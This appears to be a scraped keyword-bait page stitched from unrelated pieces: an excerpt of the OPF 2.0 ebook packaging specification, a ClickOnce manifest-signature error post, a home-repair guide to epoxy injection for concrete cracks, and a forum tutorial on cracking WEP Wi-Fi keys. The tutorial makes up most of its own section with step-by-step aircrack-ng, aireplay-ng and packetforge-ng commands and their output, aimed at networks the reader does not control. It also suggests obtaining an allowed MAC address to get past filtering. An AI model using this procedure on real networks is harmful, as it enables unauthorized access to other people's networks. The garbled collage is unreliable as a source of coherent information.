The XML namespace mechanism see is

used to identify the elements used for Dublin Core metadata without conflict. The

metadata or dc-metadata

deprecated elements may contain any number of instances of any Dublin Core

elements. Dublin Core metadata elements may occur in any order; in fact, multiple

instances of the same element type e.g. multiple Dublin Core creator elements can be interspersed with other metadata elements

without change of meaning.

Each Dublin Core field is represented by an element whose content is the field s value.

At least one of each of Dublin Core title, identifier and language must be included in the metadata element.

Dublin Core elements, like any other elements in the OPF Package Document, may have an id attribute specified. At

least one Dublin Core identifier, which is referenced from

the package unique-identifier attribute, must have an id specified.

Because the Dublin Core metadata fields for creator and

contributor do not distinguish roles of specific

contributors such as author, editor, and illustrator, this specification adds an

optional role attribute for this purpose. See Section 2.2.6 for a discussion of role.

To facilitate machine processing of Dublin Core creator

and contributor fields, this specification adds the

optional file-as attribute for

those elements. This attribute is used to specify a normalized form of the contents.

See Section 2.2.2 for a discussion of file-as.

This specification also adds a scheme attribute to the

Dublin Core identifier element to provide a structural

mechanism to separate an identifier value from the system or authority that generated

or defined that identifier value. See Section 2.2.10 for a discussion of scheme.

This specification also adds an event attribute to the

Dublin Core date element to enable content providers to

distinguish various publication specific dates for example, creation, publication,

modification. See Section 2.2.7 for a discussion of event. For example:

package version 2.0 xmlns

unique-identifier BookId

Alice in Wonderland

en

123456789X

Lewis Carroll

There are no attributes for the elements within metadata defined by Dublin Core only

the elements contents are so defined. In the above example, the specification of the

OPF namespace on the metadata element is present to

resolve the scheme and role attributes used in the identifier

and creator elements, respectively.

For compatibility with Guidelines for implementing Dublin Core in XML

this specification allows xsi:type attribute for metadata items that can be given

using some sort of encoding scheme and xml:lang attribute when an item can be given

using human-readable text. Elements that allow xsi:type attribute are identifier,

language, date, format and type. Elements that allow xml:lang attribute are: title,

contributor, coverage, creator, description, publisher, relation, rights, source,

and subject. This specification does not impose any specific rules for these

attributes with possible exception of heuristics that use xml:lang described

below.

The following subsections describe the individual Dublin Core metadata elements.

Following manifest, there must be one and only one spine element, which

contains one or more itemref elements. Each itemref references an OPS Content Document designated in the

manifest. The order of the itemref elements organizes the associated OPS Content Documents into

the linear reading order of the publication.

Each itemref in spine

must not reference media types other than OPS Content

Documents or documents whose fallback chain includes an OPS Content Document. An OPS

Content Document must be of one of the following media types:

application/xhtml xml, application/x-dtbook xml, the deprecated text/x-oeb1-document, and Out-Of-Line XML Island with required fallback. When a document with a

media type not from this list or a document whose fallback chain doesn t include a

document with a media type from this list is referenced in spine, Reading Systems must not include it as

part of the spine.

As items appearing in the spine must either be OPS

Content Documents or items with a fallback chain that includes an OPS Content, it is

possible to have a fallback chain for a spine item that

falls over another OPS Core Media type. For example, a spine itemref could reference a PDF

document, that falls back to a PNG image, that in turn falls back to a OPS XHTML

Content Document. It is valid for this item to appear in the spine because the fallback chain includes in this case terminates

with an OPS Content Document.

In addition, a specific spine item from the

perspective of its id attribute value in manifest must not appear more than once in spine.

All OPS Content Documents that are part of the publication i.e. are listed in the

manifest which are potentially reachable by any reference mechanism allowed in this

specification must be included in the spine. Such reference mechanisms include, as a partial list, hypertext

links within OPS Content Documents, and references by the NCX, Tours and Guide.

Should a Reading System encounter, by such reference, an OPS Content Document not

listed in spine as required in this specification, the

Reading System should add it to spine the placement at the discretion of the Reading System and

assign the value of the linear attribute to no see next.

For each itemref, the publication author may specify the optional linear attribute

to designate whether the associated OPS Content Document is primary linear yes, which is the default when linear is not present or auxiliary linear no. It is important that the publication author include

some kind of internal reference, such as a hypertext link, to any OPS Content Document

that is declared to be auxiliary; it is recommended that

references be added to NCX for all auxiliary content. At least one itemref in spine must be declared primary.

Specifying whether an OPS Content Document is primary or auxiliary is useful for

Reading Systems which opt to present auxiliary content differently than primary

content. For example, a Reading System might opt to render auxiliary content in a popup

window apart from the main window which presents the primary content. For an example

of the types of content that may be considered auxiliary, refer to the example below

and the subsequent discussion.

Reading Systems are not required to differentiate between

primary and auxiliary content, and for the requirements and recommendations given in

this section may consider all OPS Content Documents in

spine to be primary, regardless of the value of the

linear attribute.

The linear attribute also maintains compatibility

with OEBPS 1.x, where not all reachable OEBPS content documents were required to be

listed in the spine. For upgrading an OEBPS Publication to

OPS, every unlisted, reachable content document in the OEBPS 1.x Publication

should be assigned linear no.

Reading Systems are to use the ordered itemref

information in spine to present the publication during

reading. Reading Systems must recognize the first primary OPS

Content Document in spine to be the beginning of the main

reading order of the publication. Successive primary OPS Content Documents form the

remainder of the main reading order in the same order given in spine. Reading Systems may use next-page

style functionality when moving from one primary OPS Content Document to the next

primary one in spine.

The spine element must

include the toc attribute, whose value is the the

id attribute value of the required NCX document declared in manifest

see Section 2.4.1.

Example illustrating spine and the optional

linear attribute:

item id intro

href intro.html

media-type application/xhtml xml /

item id c1

href chap1.html

item id c1-answerkey

href chap1-answerkey.html

item id c2

href chap2.dtb

media-type application/x-dtbook xml /

item id c2-answerkey

href chap2-answerkey.html

item id c3

href chap3.html

item id c3-answerkey

href chap3-answerkey.html

item id note

href note.html

item id f1

href fig1.jpg

media-type image/jpeg /

item id f2

href fig2.jpg

item id f3

href fig3.jpg

item id ncx

href toc.ncx

media-type application/x-dtbncx xml /

In the above example, the publication author set linear no on four of the eight OPS Content Documents listed in

spine, designating these content documents to be

auxiliary. Three of the four are answer keys, and the fourth is a note of some sort;

all four are auxiliary to the main flow of the book and may be viewed separately from

the main flow.

Reading Systems which recognize and render auxiliary content separate from primary

content will set the main reading order to be the four primary OPS Content Documents:

intro, c1,

c2 and c3. The

auxiliary content documents will be rendered by such Reading Systems, upon activation

such as through a hypertext link or entry in NCX, in some manner distinct from the

main reading order. It is important that the publication author provide the necessary

references to the auxiliary content documents, otherwise this content might not be

reachable in some auxiliary-aware Reading Systems.

Reading Systems which opt to ignore linear no and

set all itemref to be primary, as allowed in this

specification, will assign all eight OPS Content Documents to the main reading order in

the order given. This is especially useful for Reading Systems which provide print

output, where it is important that all the information in the OPS Content Documents be

printed in an author-determined linear order.

A Reading System may, at its discretion, provide both

rendering options to the user.

In order to enable ease of navigation and provide greater accessibility, the OPF

Package Document supports a Navigation Center eXtended, the NCX. This is a concept

and implementation that has been standardized by the DAISY Consortium.

This specification uses the NCX defined in the DAISY/NISO Standard, formally the

. The NCX is a portion Section 8 of this comprehensive

multimedia standard. The DAISY Consortium maintains the NCX DTD. No modifications to

the DTD are necessary for use with OPF. In the future the DAISY/NISO Advisory

Committee will consider modularizing the NCX and changing terminology to be more in

line with ebooks, multimedia publications and other electronic document usage.

Some optional elements and metadata items are not needed to

implement the NCX for this specification. The sections below have been changed to

normatively reference the DAISY/NISO standard for the NCX rather than duplicating it

here. All exceptions are described in Section 2.4.2, below.

The Navigation Control file for XML applications NCX exposes the hierarchical

structure of a Publication to allow the user to navigate through it. The NCX is

similar to a table of contents in that it enables the reader to jump directly to

any of the major structural elements of the document, i.e. part, chapter, or

section, but it will often contain more elements of the document than the publisher

chooses to include in the original print table of contents. It can be visualized as

a collapsible tree familiar to PC users. Its development was motivated by the need

to provide quick access to the main structural elements of a document without the

need to parse the entire documents. Other elements such as pages, footnotes,

figures, tables, etc. can be included in separate, nonhierarchical lists and can be

accessed by the user as well see the below informative example.

It is important to emphasize that these navigation features are intended as a

convenience for users who want them, and not a burden to those who do not. The

alternative guide to the book may be provided for

those users not requiring the navigation features of the NCX.

Reading Systems must support NCX.

OPS Publications must include an NCX.

Reading Systems should support the NCX.

A Reading System should have the ability to, at user selection,

provide access to the NCX navMap in a fashion that

allows the user to activate the links provided in the navMap,

thus relocating the application s current reading position to the destination described

by the selected NCX navPoint.

The behavioral expectations described above apply to the NCX pageList

and navList as well, if the given NCX contains said elements.

Reading System implementors should be aware that in a forthcoming major revision of the

EPUB specification, it likely will become a compliance criteria for Reading Systems to support the

NCX navMap, pageList and

navList as described above.

Like all other Publication components, the NCX must be

included as an item in the manifest with media-type of

application/x-dtbncx xml. The NCX-referencing

item must not contain any

fallback information required-namespace,

fallback or fallback-style attributes.

If a Publication includes an NCX, theThe item that

describes the NCX must be referenced by the spine toc attribute.

The NCX file must be a valid XML document conforming to

ncx-2005-1.dtd and comply with the additional normative

requirements defined in

, with the exception of the playOrder attribute, which is optional in EPUB NCX.

The version and xmlns attributes on the ncx

element must be explicitly specified in the document

instance, using values drawn from the above-named DTD.

Any NCX that contains a DOCTYPE that references the canonical NCX

DTD must honor that DTD, thus including the

playOrder attribute in all locations

where it is required. NCX documents that do not contain a DOCTYPE

may omit the

playOrder attribute.

navMap is a required element

in the NCX; it provides navigational access to the major hierarchical structure of the publication.

pageList must be included if the publication

is designed to allow the user to navigate to pages. One or several navList s

may be included to allow navigation to other arbitrary constructs in

the content see the below informative example.

The URI specified by the src of the content element for

navMap, pageList, and

navList elements must resolve to OPS

Content Document fragments.

Example illustrating an NCX with a navMap, a pageList, and a navList containing a list of illustrations:

Selections from Great Pictures, As Seen and Described by Famous Writers

Esther Singleton

Chapter 1

Chapter 1.1

Chapter 2

1

2

List of Illustrations

Portratit of Georg Gisze Holbein

The adoration of the lamb Van Eyck

Much as a tour-guide might assemble points of interest into a set of sightseers tours,

a content provider could assemble selected parts of a publication into a set of tours

to enable convenient navigation.

An OPS Package Document may, but need not, contain one

tours element, which in turn contains one or more

tour elements. Each tour

must have a title attribute,

intended for presentation to the user. Reading Systems may use

tours to provide various access sequences to parts of the

publication, such as selective views for various reading purposes, reader expertise

levels, etc. Because Reading Systems are not required to

implement tour support, content providers should also provide

other means of accessing content referenced from tours.

Each tour element contains one or more site elements, each of which must have an

href attribute and a title attribute. The href attribute

must refer to an OPS Content Document included in the

manifest, and may include a

fragment identifier as defined in section 4.1 of RFC 2396 see Each site element specifies a starting point from which the reader can

explore freely. Reading Systems may use the bounds of the

referenced element to determine the scope of the site. If a fragment identifier is

not used, the scope is considered to be the entire document. This specification does

not require Reading Systems to mark or otherwise identify

the entire scope of a referenced element. The order of site elements is presumed to be significant, and should be used by Reading Systems to aid navigation.

site title Chicken Fingers

href appetizers.html r3 /

site title Chicken a la King

href entrees.html r5 /

Appendices

Appendix A: The OPF Package Schema

grammar xmlns ns

datatypeLibrary

. --

Title:

Relax NG Schema for the Open Packaging

Format OPF version 2.0

Version:

2.0

Revision:

20070222

Authors:

This Version 2.0 :

Peter Sorotokin

--

yes

no

zerooneOrMore

Appendix C: Acknowledgements

The working group wishes to specifically acknowledge the contributions of the following

individuals. Peter Sorotokin for authoring the OPS and OPF

RelaxNG schemas, creation of the NVDL definition of OPS, and general technical acumen.

Ben Trafford for the concept and drafting of XML Islands,

as well as overall technical participation, and the XML templates used to produce the

specifications. George Kerscher for drafting the OPF NCX

section, providing consistent accessibility direction and broad technical input.

Brady Duga and Jon Noring for

directional contributions, specification editing and providing continuity with the

historic OEBPS 1.2 effort. Garth Conboy for working group

leadership and motivation, specification drafting and technical contributions.

Appendix D: Supporting Information Errata

For additional information about all IDPF specifications including sample files,

specification implementations and other information, please visit our public forums at

If errors in the specifications

are identified following publication, please post these errors to the forums. The

responsible Working Group will review the errors and post pending corrections to the

specifications if required or necessary. Corrections will be incorporated into

subsequent versions of the specifications.

Open Packaging Format (OPF) 2.0.1 v1.0

OS: Windows 7 64 bit using Visual Studio Pro 2012 with. NET 4.5 installed.

I used the Publish option within Visual Studios and ensured that I had clicked the Sign the clickOnce manifest and Sign the Assembly. It will still not run on another computer and says I do not have a valid XML signature. I have pasted the error message below.

I have also read: How to move a ClickOnce deployment package, Do I have to sign my ClickOnce manifest.. Exception reading manifest from file: the manifest may not be valid or the file could not be opened and several others.

I need to be able to deploy my program on. NET 4.0 at the minimum and I do not have access to another version of Visual Studios. Thanks in Advance.

complete Error Below:

PLATFORM VERSION INFO

Windows : 5.1.2600.196608 Win32NT

Common Language Runtime : 2.0.50727.3603

System.Deployment.dll : 2.0.50727.3053 netfxsp.050727-3000

mscorwks.dll : 2.0.50727.3603 GDR.050727-3600

dfdll.dll : 2.0.50727.3053 netfxsp.050727-3000

dfshim.dll : 4.0.31106.0 Main.031106-0000

SOURCES

Deployment url : file:///C:/Documents 20and 20Settings/Administrator/Desktop/EatonWizard.application

ERROR SUMMARY

Below is a summary of the errors, details of these errors are listed later in the log.

Activation of C: Documents and Settings Administrator Desktop EatonWizard.application resulted in exception. Following failure messages were detected:

Exception reading manifest from file:///C:/Documents 20and 20Settings/Administrator/Desktop/EatonWizard.application: the manifest may not be valid or the file could not be opened.

Manifest XML signature is not valid.

SignatureDescription could not be created for the signature algorithm supplied.

COMPONENT STORE TRANSACTION FAILURE SUMMARY

No transaction error was detected.

WARNINGS

There were no warnings during this operation.

OPERATION PROGRESS STATUS

10/10/2012 :02 PM : Activation of C: Documents and Settings Administrator Desktop EatonWizard.application has started.

ERROR DETAILS

Following errors were detected during this operation.

10/10/2012 :02 PM System.Deployment.Application.InvalidDeploymentException ManifestParse

- Exception reading manifest from file:///C:/Documents 20and 20Settings/Administrator/Desktop/EatonWizard.application: the manifest may not be valid or the file could not be opened.

- Source: System.Deployment

- Stack trace:

at System.Deployment.Application.ManifestReader.FromDocument String localPath, ManifestType manifestType, Uri sourceUri

at System.Deployment.Application.DownloadManager.DownloadDeploymentManifestDirectBypass SubscriptionStore subStore, Uri sourceUri, TempFile tempFile, SubscriptionState subState, IDownloadNotification notification, DownloadOptions options, ServerInformation serverInformation

at System.Deployment.Application.DownloadManager.DownloadDeploymentManifestBypass SubscriptionStore subStore, Uri sourceUri, TempFile tempFile, SubscriptionState subState, IDownloadNotification notification, DownloadOptions options

at System.Deployment.Application.ApplicationActivator.PerformDeploymentActivation Uri activationUri, Boolean isShortcut, String textualSubId, String deploymentProviderUrlFromExtension, BrowserSettings browserSettings, String errorPageUrl

at System.Deployment.Application.ApplicationActivator.ActivateDeploymentWorker Object state

--- Inner Exception ---

System.Deployment.Application.InvalidDeploymentException SignatureValidation

- Manifest XML signature is not valid.

at System.Deployment.Application.Manifest.AssemblyManifest.ValidateSignature Stream s

System.Security.Cryptography.CryptographicException

- SignatureDescription could not be created for the signature algorithm supplied.

- Source: System.Security

at System.Security.Cryptography.Xml.SignedXml.CheckSignedInfo AsymmetricAlgorithm key

at System.Security.Cryptography.Xml.SignedXml.CheckSignatureReturningKey AsymmetricAlgorithm signingKey

at System.Deployment.Internal.CodeSigning.SignedCmiManifest.Verify CmiManifestVerifyFlags verifyFlags

COMPONENT STORE TRANSACTION DETAILS

No transaction information is available.

Aug 10, 2012  Jenfeng s blog discusses in details about registration free COM/. Net interop. Please see.

"Manifest XML signature is not valid"

Can t install RDS CALs by using a web browser or telephone on a Windows Server 2012-based license server.

The second application manifest, describes the COM components which are exposed in the assembly. It needs to be set as the application manifest which resides as a.

Tour Start here for a quick overview of the site Help Center Detailed answers to any.

Crack Inject

Crack WEP with aircrack + inject packets (WINDOWS)

Crack Analysis. As with all repair and rehabilitation of concrete, the initial job analysis is by far the most important step. Epoxy Injection Resin will weld.

Steps for crack injection including installing injection ports, sealing the surface, injecting the crack, and removing the ports.

Share

S

H

A

R

E

Home

Basements Foundations Fixing Cracks in Concrete

A simple, permanent repair for cracked concrete walls

Joseph Truini

Photo: Geoffrey Gross

Previous Step

Next Step

All Steps

Close

Introduction

Step 1

Repairing the Crack

Step 2

Block Out the Injection Ports

Step 3

Mix the Epoxy Sealer

Step 4

Attach the Injection Port

Step 5

Spread Sealer Along the Crack

Step 6

Inject the Epoxy into the Crack

Step 7

Seal Up the Injection Ports

Step 8

Cut Away the Injection Ports

Difficulty: None

Step 6: Inject the Epoxy into the Crack

If the other side of the wall is accessible, see if the crack goes clean through. If it does, seal it up with crack sealer, too. Allow the sealer to cure for 6 to 10 hours before injecting the epoxy. Thoroughly mix the LCR epoxy using the plunger rod that comes with the kit. Place the LCR cartridge into a caulk gun. Starting at the lowest injection port, dispense the epoxy into the crack. Continue squeezing the trigger until epoxy begins to ooze out of the port directly above.

Ask TOH users about Basements Foundations

Discuss

Contribute to This Story Below

Add Comment

More in Basements Foundations

Cooling Ventiliation

Heating Water Heaters

Insulation

Plumbing

Newsletters

See All Newsletters

See Sample

Dozens of ideas, loads of how-tos, and the latest advice on the projects and products you need to improve your home today, plus special offers.

Sign me up.

From Our Partners

This Old House To Go

Subscribe

Give A Gift

Newsletter

Tablet

Share

Step 7: Seal Up the Injection Ports

Remove the gun and plug up the port you just filled. Now insert the cartridge tip into the port that s oozing and squeeze the trigger to dispense the epoxy. Repeat this procedure for the remaining ports; plug up each one before moving on to the next.

Step 8: Cut Away the Injection Ports

Allow the LCR to cure for five days, then cut off the necks of the ports with a hacksaw. If desired, you can patch the severed ports with a little crack sealer.

Polygem

Box 609

Dept. TH700

W. Chicago, IL 60186

630/231-5600

Kitchens

Kitchens

Kitchen Cabinets

Kitchen Countertops

Kitchen Sinks

Backsplashes

Islands

Appliances

Kitchen Lighting

Wet Bars

Small Kitchens

Outdoor Kitchens

Bathrooms

Bathrooms

Bathroom Sinks

Showers

Tubs

Bathroom Lighting

Small Bathrooms

Other Rooms

Living Spaces

Living Rooms

Dining Areas

Hallways Foyers

Bedrooms

Basements

Mudrooms

Media Rooms

Storage

Pets

Workspaces

Laundry Rooms

Home Offices

Workshops

Landscaping

Landscaping

Gardening

Garden Planning

Lawn Care

Patios

Fences Stone Walls

Trees Shrubs

Outdoor Structures

Pools, Ponds, Fountains

Yard Garden Tools

Exterior

Exterior

Decks, Patios Porches

Curb Appeal

Windows

Drainage Gutters

Driveway Walkway

Garages

House Styles

Find a Pro in Your Area

Remodels Upgrades

Remodels Upgrades

Before Afters

Small Space Solutions

Easy Upgrades

Your New Home

America s Best Remodel

Best Old House Neighborhoods

Save This Old House

Salvage

Money

Money

Money-Saving Ideas

Home Real Estate

How-To Repair

Interior

Doors

Fireplaces

Cabinets Shelving

Stairs

Furniture

Drywall Plaster

Ceilings

House Exterior

Decks

Porches

Garage How-To

Roofing

Siding

Molding Carpentry

Crown Molding

Wainscoting

Trim

Flooring

Carpeting

Wood Floors

All Floors

Yard Garden

Driveways Walkways

Pools, Ponds Fountains

Framing Insulation

Framing

Insulation

Plumbing, HVAC Electrical

Heating

Cooling

Plumbing

Toilets

Lighting

Electrical

Ventilation

Water Heaters

Home Technology

Basements Foundations

Paint Finishes

Painting

Wallpaper

Tile

Painting Finishing Tools

Upkeep

Cleaning

Spring Upkeep

Summer Upkeep

Fall Upkeep

Winter Upkeep

Health Safety

Fire Safety

Healthy Home

Green

Safety Prevention

Home Inspection Nightmares

Tools

Hand Tools

Power Tools

Workshop Accessories

TOH Pro

Project of the Week

Discussions

Discussions

Painting Finishes

Interiors Trim

Doors Windows

Electrical Lighting

Insulation HVAC

Tools Products

Green House Home

New DIY Ideas

Your Home

TV Shows Projects

Magazine

Deck, Patio Porch

Walls Ceilings

Favorites

TOH Favorites

TOH Top 100

Making the Grade: Get Schooled By the Pros

Family Projects

Holidays

Holidays at Home

Smart Home

Idea Houses

TOH TV Veteran s Special House Project

TOH Toon

TOH Downloadable Lessons

Video.

TUTORIAL BY. TRANSMIT FOR THETAZZONE/TAZFORUM

TAZ Forum :: A Computer, Gaming, and Social Network Community of Friends :: TAZForum :: View topic – Tutorial: Crack WEP with aircrack inject packets WINDOWS

Okay this is my first tutorial so go easy on me.

This is a tutorial for cracking WEP and injecting packets for networks with no clients. You ll be able to do so on a windows platform tested in VISTA and works.

-

First of all I ve got all my info out of this thread and the links posted there:

6781 postdays 0 postorder asc start 0

I can only make this tutorial thanks to Zermelo that kept answering my question when I was lost.

GETTING EVERYTHING READY:

- The first and most important thing to do is to get an adapter that works with airodump:

check this thread for that:

6235

and this one:

5401 start 0

- Then you need to install the proper drivers for your card. I used the commview drivers. If your card isn t compatible with Commview you ll need to install the wildpackets drivers.

to do this for cards compatible with commview download commview here and install its drivers:

download event2 commwifi event3 goto /files/ca5.zip

for other cards download the wildpackets drivers here:

NOTE: I m going to base the rest of this tutorial on a card with the commview drivers installed.

- Next step is to download this. dll file again only commview driver users :

- Next up, download the aircrack package. Download it here:

unzip the file to your c: drive it can be another drive but this is the easiest

put the commview.dll file you just downloaded in the map you extracted it s called aircrack and if you extracted it to your c: drive like I said it should be in c: aircrack

Now go to you place where you installed Commview in the program itself and look for a file called ca2k.dll default install dir is c: program files commview for wifi

Copy this file to the same folder as the commview.dll c: aircrack

OKAY that was a whole lot. this was just to get everything ready. If you did all of this correct you ll be able to move to the next step.

THE CRACKING:

Step 1:

- Open a command prompt start run cmd.exe

Step 2:

- type the following in the command prompt:

- HIT ENTER

Step 3:

- type the following in the same command prompt:

Quote:

airserv-ng -d commview.dll

- You should see something like this coming up in the command prompt

Opening card commview.dll

Setting chan 1

Opening sock port 666

Serving commview.dll chan 1 on port 666

Step 4:

- Open a new command prompt LEAVE THE PREVIOUS ONE OPEN AT ALL TIMES..

- Typ the following the the new command prompt:

-HIT ENTER

Step 5:

- Now typ this in the same command prompt:

airodump-ng 127.0.0.6

note: if you know what channel the to-monitor-network is on you can make it this. I recommend this.:

airodump-ng –channel YOURCHANNELNUMBER HERE 127.0.0.6

Airodump-ng should start capturing data from the networks on the given channel now, you ll notice it isn t going fast except if it s a big company s network or something. We are going to speed this process up.

Take a note of the following:

1: BSSID of the network you want to crack MAC address.

2: ESSID of the network you want to crack name of the network example: wifi16, mynetwork,

3: The mac of the card you are using to monitor the packets

LEAVE THE 2 COMMAND PROMPTS YOU ALREADY HAVE OPEN OPEN

Step 6:

- Open a new command prompt

- Type in the following:

Step 7:

- Type in the following in command prompt:

aireplay-ng -1 0 -e ESSID-OF-THE-NETWORK-YOU-WANT-TO-CRACK -a BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR 127.0.0.6

yes quite confusing so a quick example:

ESSID wifi16

BSSID ::

MAC OF CARD I M USING ::

so that will get me:

aireplay-ng -1 0 -e wifi16 -a :: -h :: 127.0.0.6

if all goes well you ll get this as the outcome:

Sending Authentication Request

Authentication successful

Sending Association Request

Association successful

if you get:

AP rejects the source MAC address

It means MAC filtering is enabled on the network you want to crack and you ll need to get hold of a mac address that s allowed access.

if you keep getting:

sending authentication request

Try moving closer to the AP.

Step 8:

in the same command prompt as the one in step 7 type:

aireplay-ng -5 -b BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR 127.0.0.6

yes quite confusing once again so a quick example:

aireplay-ng -5 -b :: -h :: 127.0.0.6

if all goes well you ll get this:

Waiting for a data packet

Read number packets

Step 9:

if you wait a little bit you ll soon be prompted with a packet like this:

Size: 120, FromDS: 1, ToDS: 0 WEP BSSID the bssid

Dest. MAC the dest mac

Source MAC the source mac

0 0000: 0842 0201 000f b5ab cb9d 0014 6c7e 4080. B. l.

0 0010: 00d0 cf03 348c e0d2 4001 0000 2b62 7a01 . 4 bz.

0 0020: 6d6d b1e0 92a8 039b ca6f cecb 5364 6e16 mm. o..Sdn.

0 0030: a21d 2a70 49cf eef8 f9b9 279c 9020 30c4. . pI. .. . 0.

0 0040: 7013 f7f3 5953 1234 5727 146c eeaa a594 p YS.4W. l.

0 0050: fd55 66a2 030f 472d 2682 3957 8429 9ca5. Uf G-. 9W.. .

0 0060: 517f 1544 bd82 ad77 fe9a cd99 a43c 52a1 Q. D w. . R.

0 0070: 0505 933f af2f 740e . ./t.

Use this packet.

note: size can vary, I always pressed in y and it worked

- press in Y

You should see something like this coming up or similar :

Saving chosen packet in replay_src-0124-161120.cap

Data packet found.

Sending fragmented packet

Got RELAYED packet..

Thats our ARP packet.

Trying to get 384 bytes of a keystream

Trying to get 1500 bytes of a keystream

Saving keystream in fragment-0124-161129.xor

Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

Note 1: It doesn t need to be 1500 bytes..

Note 2: Check the bold part, you re going to need this file.

AGAIN DON T CLOSE THIS COMMAND PROMPT..

No answer, repeating

Trying a LLC NULL packet

Just keep trying. It automatically starts over again moving closer to the AP has been reported to help.

anyways, if you got the bytes of keystream everything worked it s time for the next step.

Step 10:

- Press CTRL C in the command prompt used in step 8

- Now type in the following:

packetforge-ng -0 -a BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR -k 192.168.1.100 -l an ELL not a 1 192.168.1.1 -y fragment-0124-161129.xor -w arp-request

Remember the file I made bold in part 8. Well it s obviously the same as in 9 meaning you need to put the same filename here.

The part I made green here is the filename you use to save the packet, you can choose whatever you want but you must use this filename in the upcomming steps.

Step 11:

Now that we ve got our ARP REQ packet we can start injecting.

Here s how to do this.

- Go to the command prompt used in step 9

aireplay-ng -2 -r arp-request 127.0.0.6

The green part once again indicates the filename.

You should now see something like this coming up:

Size: 68, FromDS: 0, ToDS: 1 WEP BSSID :6C:7E:

Dest. MAC FF:FF:FF:FF:FF:FF

Source MAC 00:0F:B5:AB:CB:9D

0 0000: 0841 0201 0014 6c7e 4080 000f b5ab cb9d. A. l.

0 0010: ffff ffff ffff 8001 6c48 0000 0999 881a . .lH

0 0020: 49fc 21ff 781a dc42 2f96 8fcc 9430 144d Ix..B/. 0.M

0 0030: 3ab2 cff5 d4d1 6743 8056 24ec 9192 c1e1 . .gC.V. .

0 0040: d64f b709. O..

- Type in Y

This should come up now:

Saving chosen packet in replay_src-0124-163529.cap

You should also start airodump-ng to capture replies.

End of file.sent numberOfPackets number pps

You ll see the numberOfPackets rising really fast, you are injecting these packets now.

Step 12:

Now go back to the command prompt where you had airodump-ng in open

and press CTRL C

now type in the following:

airodump-ng –channel CHANNELYOUWANTTOCAPTUREFROM –write Filename 127.0.0.6

Note: Filename The name of the file where the data packets are saved, this will be used in the next step

If all goes correct you should be capturing as much packets per second as you are injecting maybe even more.

Step 13:

when you think you have enough

note: 200000 min for 64bit just capture 1Million to be sure

press CTRL C in the command prompt that has airodump-ng running and enter the following:

aircrack-ng -n 64 Filename.cap

note:

Filename see previous step

64 the bit depth of the key 128 for 128bit etc

and if it goes like planned a message will pop-up saying:

KEY FOUND: YourKey

That s it. I hope this was helpful, any question/remarks/complaints please ask/tell and I ll try to help/respond as soon as possible..

Extra useful links:

WEP CRACK tutorial from nokia:

2069 highlight wep sid 4b61ec462d62072de2d06ff1722a5366

Info about the attack used fragmentation :

fragmentation

Zermelo s thread about this subject:

Topic on another forum about this:

1626.0

news and informationbusiness,health,entertainment,technology

Gravatars are small images that can show your personality. You can get your gravatar for free today.

Tutorial: Crack WEP with aircrack inject packets WINDOWS TUTORIAL BY. TRANSMIT FOR THETAZZONE/TAZFORUM. TAZ Forum :: A Computer, Gaming, and.

Fixing Cracks in Concrete A simple, permanent repair for cracked concrete walls.

crack inject crack inject Fixing Cracks in Concrete

Guide specification for epoxy crack injection in concrete and wood.